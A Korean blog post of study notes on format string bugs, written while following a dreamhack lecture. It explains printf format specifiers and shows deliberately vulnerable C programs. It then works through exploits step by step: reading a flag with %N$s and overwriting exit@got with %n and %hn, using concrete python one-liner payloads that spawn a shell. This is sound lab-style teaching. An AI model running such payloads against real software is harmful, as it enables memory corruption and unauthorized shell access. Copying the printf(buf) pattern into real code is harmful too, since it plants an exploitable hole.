dreamhack.io/learn/3#23 dreamhack FSB 강의를 수강하며 정리한 내용이다ヽ(✿゚▽゚)ノ
FSB (Format String Bug)
printf()나 sprintf()처럼 포맷 스트링을 사용하는 함수에서 사용자가 포맷 스트링 문자열을 통제할 수 있을 때 발생하는 취약점; 프로그래머가 지정한 문자열이 아닌 사용자의 입력이 포맷 스트링으로 전달될 때 발생하는 취약점이다.
프로그램내에 이 취약점이 있으면 프로그램의 임의의 주소의 값을 읽고 쓸 수 있기 때문에 아주 위험하다.
포맷 스트링을 사용하는 대표적 함수들
- printf
- sprintf / snprintf
- fprintf
- vprintf / vfprintf
- vsprintf / vsnprintf
포맷 스트링의 종류
- % : "%"문자를 출력한다.
- c : 하나의 문자를 출력한다.
- s : NULL 바이트로 끝나는 문자열을 출력한다.
- d, i : signed integer를 출력한다.
- x : unsigned integer를 16진수의 형태로 출력한다.
- n : 현재까지 출력된 문자의 개수를 변수에 저장하고, 무언가를 출력하지는 않는다.
>> 포맷 스트링을 사용하는 함수의 인자만 잘 검토하면 막을 수 있는 취약점으로 상대적으로 막기 쉬운 편이다. 그리고 최신 컴파일러에서는 포맷 스트링으로 전달되는 인자가 문자열 리터럴이 아닐 때 경고 메시지를 출력하기 때문에 잘 발생하지 않는 취약점이다.
예시를 통해 확인해야 이해가 될 것 같다..
Example - FSB 발생
//gcc -o fsb-1 fsb-1.c
#include <stdio.h>
int main(void) {
char buf[100] = {0, };
read(0, buf, 100);
printf(buf);
}
△ fsb-1.c //char형 배열 buf에 100byte를 입력받고 printf 함수를 통해 입력받은 버퍼를 출력하는 코드
printf(buf); 사용자의 입력이 printf의 함수의 인자로 그대로 전달된다.
"fsb", "10" 등의 일반적인 문자열을 입력했을 때는 printf("fsb"); printf("10"); 으로 인식되기 때문에 정상적으로 문자열이 출력된다.
"%x", "%d" 등의 포맷 스트링을 입력했을 때는 printf("%x"); printf("%d"); printf("%x %d");처럼 된다. 여기서 printf("%x %d");가 될 때 두 번째 인자와 세 번째 인자가 전달되지 않기 때문에 쓰레기 값을 인자로 취급해 출력한다.
//gcc -o fsb-2 fsb-2.c
#include <stdio.h>
#include <stdlib.h>
int main(void) {
FILE *fp = fopen("log.txt", "w");
char buf[100] = {0, };
read(0, buf, 100-1);
fprintf(fp, "BUFFER-LOG: ");
fprintf(fp, buf);
fclose(fp);
return 0;
}
△ fsb-2.c fprintf함수에서 FSB가 발생하는 코드
fprintf(fp, buf); 포맷스트링이 위치해야 할 곳에 사용자의 버퍼(buf)가 위치하게 되면서 포맷 스트링 버그가 발생한다.
Example - FSB를 활용해 exploit (1)
임의의 주소의 값 읽기
"%x", "%(N)$s" 포맷 스트링을 이용하면 임의의 주소의 값(포맷 스트링과 함께 적어준 주소)을 읽을 수 있다
// gcc -o fsb1 fsb1.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char flag_buf[50];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int main()
{
FILE *fp;
char buf[256];
initialize();
memset(buf, 0, sizeof(buf));
fp = fopen("./flag", "r");
fread(flag_buf, 1, sizeof(flag_buf), fp);
printf("Input: ");
read(0, buf, sizeof(buf)-1);
printf(buf);
return 0;
}
△ fsb1.c
- "flag" 파일을 읽고 그 내용을 전역 변수 flag_buf에 저장한다.
- 지역 버퍼인 buf에 사용자로부터 입력받고 printf를 사용해 출력한다 >> 사용자의 입력이 그대로 포맷 스트링으로 들어가면서 FSB가 발생한다.
- flag_buf에 저장되어 있는 "flag"의 내용을 포맷 스트링 버그를 이용해 읽어내는 것이 목표이다.
※ 같은 디렉터리 내에 flag 파일을 만들어줘야한다. 만들지 않은 상태로 실행하면 Segmentation Fault (core dumped) 에러 메시지가 뜬다.
포맷 스트링 버그가 존재하는 것을 확인했다면,
- 포맷 스트링이 참조하는 버퍼에 공격자의 값을 쓸 수 있는지
- 입력한 데이터가 몇 번째 포맷 스트링에 참조되는지
를 알아야한다! 공격자가 변조 가능한 데이터가 포맷 스트링에 의해 참조된다면 임의의 주소에 값을 쓰고 읽는 것이 가능해진다!!
$ ./fsb1
Input: AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x AAAA9122008.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.a78252e.0
△ fsb_1 실행
처음 입력 값인 "AAAA"의 내용이 두 번째 포맷 스트링에 의해 참조되는 것을 확인할 수 있다. 해당 값은 printf가 호출될 때의 스택 포인터의 값을 확인하면 정확하게 알아낼 수 있다.
>> 처음 입력한 4byte의 값이 특정 메모리 주소라면, 해당 포인터를 참조하는 포맷 스트링을 사용했을 때 입력한 주소에 값을 쓰거나 읽을 수 있게 된다.
printf함수가 실행되면서 프로그램이 비정상 종료된다.
>> mov dword ptr [eax], esi 0x41414141(eax)이 "%n" 포맷 스트링을 통해 참조되어 값을 쓰다가 Segmentation Fault가 발생된다. eax의 값이 0x41414141이 아닌 메모리에 존재하는 주소라면 해당 영역에 값을 쓰거나 읽을 수 있다.
입력의 첫 4byte에 flag_buf의 주소값(0x0804a060)을 넣어 두 번째 포맷 스트링을 참조할 때 해당 주소를 참조하게 한다.
[flag_buf의 주소].%x.%s "%s" 포맷 스트링을 처리하여 printf("%s", flag_buf의 주소); 의 결과를 출력하게 된다.
[flag_buf의 주소]%(N)$s "%N$s"는 N번째 매개 변수를 특정 포맷 스트링으로 처리할 때 사용한다. 위에서는 "%2$s"를 사용하여 두 번째 주소를 "s" 포맷 스트링을 통해 출력한다.
--> 예를 들어, printf("%2$s", "HELLO", "WORLD"); 일 경우 실행하면 WORLD만 출력된다.
>> "$" 원하는 위치의 주소를 쉽게 참조할 수 있게 된다.
// fsb_read.c
#include <stdio.h>
int main(void) {
int auth = "SECRET";
char buf[32] = {0, };
read(0, buf, 31);
printf(buf);
}
hex encode를 켠 상태로 auth 변수의 주소를 little endian 방식으로 적어주고 encode를 다시 꺼 준 후, %5$s를 넣어준다. ==> 30feff7f%5$s
pl = p32(auth주소)
pl += "%5$s" 해서 p.sendline(pl) 하는 것과 같다!
Example - FSB를 활용해 exploit (2)
임의의 주소에 원하는 값 쓰기
"%n", "%(N)c%$n" 포맷 스트링을 이용하여 임의의 주소에 원하는 값을 쓰면서 실행 흐름을 조작할 수 있게 된다.
"n"은 출력된 문자의 길이 수를 전달된 매개 변수에 쓰는 포맷 스트링으로 간단한 예제를 통해 그 사용법을 다시 한 번 확인해보겠다.
// gcc -o fsbn_ex2 fsbn_ex2.c
#include <stdio.h>
int main()
{
int ret = 0;
printf("1234%1$n\n", &ret);
printf("ret: %d\n", ret);
}
"1234" 문자열의 길이가 4이기 때문에 1234 뒤 붙은 ret 변수에 문자열의 길이인 4가 저장된다.
하지만, 실제 공격할 때 이렇게 짧은 값을 사용하지 않는다. 입력해야할 문자열의 길이가 굉장히 길지만 입력할 수 있는 길이가 한정되어 있다면 아래 예제(fsbn_ex3)처럼 하면 된다.
// gcc -o fsbn_ex3 fsbn_ex3.c
#include <stdio.h>
int main()
{
int ret = 0;
printf("%1024c%1$n\n", &ret);
printf("ret: %d\n", ret);
}
%1024c 1024 길이의 공백을 포함한 문자를 "c" 포맷 스트링으로 출력한다.
>> 이를 사용하여 원하는 길이만큼 화면에 문자를 출력할 수 있게된다. 1024 byte만큼의 데이터를 실제로 입력하지 않았는데도 ret이 1024로 덮여있게 된다.
==> 입력할 수 있는 버퍼의 크기가 한정적이더라도 원하는 문자열의 길이를 출력하여 임의의 주소에 원하는 값을 쓸 수 있다.
// gcc -o fsb2 fsb2.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void get_shell() {
system("/bin/sh");
}
int main()
{
char buf[256];
initialize();
memset(buf, 0, sizeof(buf));
printf("Input: ");
read(0, buf, sizeof(buf)-1);
printf(buf);
exit(0);
}
△ fsb2.c
- 사용자로부터 입력받는 buf를 그대로 printf 함수로 출력하면서 포맷 스트링 버그가 발생하고 exit함수가 호출되면서 프로그램이 종료한다.
- FSB 발생 후 호출되는 exit의 got 값을 get_shell로 덮어쓰면 원하는 값을 얻어낼 수 있을 것이다!
exploit1
exit@got주소%1024c%1$n 1024byte만큼 출력해 exit@got를 1024(=0x400)으로 덮어쓰는 공격코드이다.
EIP 레지스터값을 확인하면 0x404로 덮어쓰여져 있는 것을 볼 수 있다. 이 때 1024=0x400인데 0x404가 덮여진 이유는 n 포맷 스트링이 %1024c의 1024byte뿐 아니라 exit@got의 주소 4byte를 포함하기 때문이다.
exploit2 - exit@got 덮어쓰기("n")
get_shell의 주소를 10진수로 변환한 값에서 4를 빼고 위의 1024자리에 대신 넣는다. exit@got의 주소 때문에 4byte가 더해지므로 4byte를 미리 고려하여 빼서 전달한다.
(python -c 'print "\x18\xa0\x04\x08%134514037c%1$n"') | ./fsb2
exploit3
exit@got+2 exit@got %x.%x.%x exit@got+2 주소와 exit@got 주소를 입력하고 x 포맷 스트링을 통해 출력하면 두 개의 주소(exit@got+2, exit@got)가 쓰여져있는 것을 확인할 수 있다.
>> 공격 시, 포맷 스트링 인자 중 각각 첫 번째 인덱스와 두 번째 인덱스를 참조하면 두 개의 주소를 모두 덮어쓸 수 있음을 알 수 있다.
exploit4 - 두 byte로 나눠 덮어쓰기 ("hn")
exit@got에는get_shell의 하위 2byte 0x8579를, exit@got+2에는get_shell의 상위 2byte 0x(0)804를 덮어쓸 것이다.
exit@got+2 주소에는 "%2044c"(2044 = 0x804-4)만큼 출력하여 "hn" 포맷 스트링을 통해 0x804를 덮어쓰도록 한다.
exit@got 주소에는 0x8579를 덮어쓸 것인데, 화면에 이미 출력된 문자열의 길이(2052byte)를 고려해서 덮어써야 한다. 즉, 앞에서 (exit@got+2) 0x804만큼 출력했으므로 0x8579 - 0x804 = 0x7d75 = 32117를 화면에 출력하면 이후 "hn" 포맷 스트링으로 덮어쓰면 성공적으로 exit@got를 get_shell 함수의 주소로 조작할 수 있다.
(python -c 'print "\x1a\xa0\x04\x08\x18\xa0\x04\x08%2044c%1$hn%32117c%2$hn"';cat;) | ./fsb2
5번째 포맷스트링x에 값이 쓰여짐을 확인했다.
30feff7f%251c%5$n (encode/decode)
'System > System Hacking' 카테고리의 다른 글
[Protection Tech.] RELRO (0) | 2021.03.30 |
---|---|
[Protection Tech.] Canaries(카나리), SSP (0) | 2021.01.27 |
[Protection Tech.] ASLR (0) | 2021.01.15 |
PLT, GOT (0) | 2021.01.14 |
[Protection Tech.] NX bit (2) | 2021.01.03 |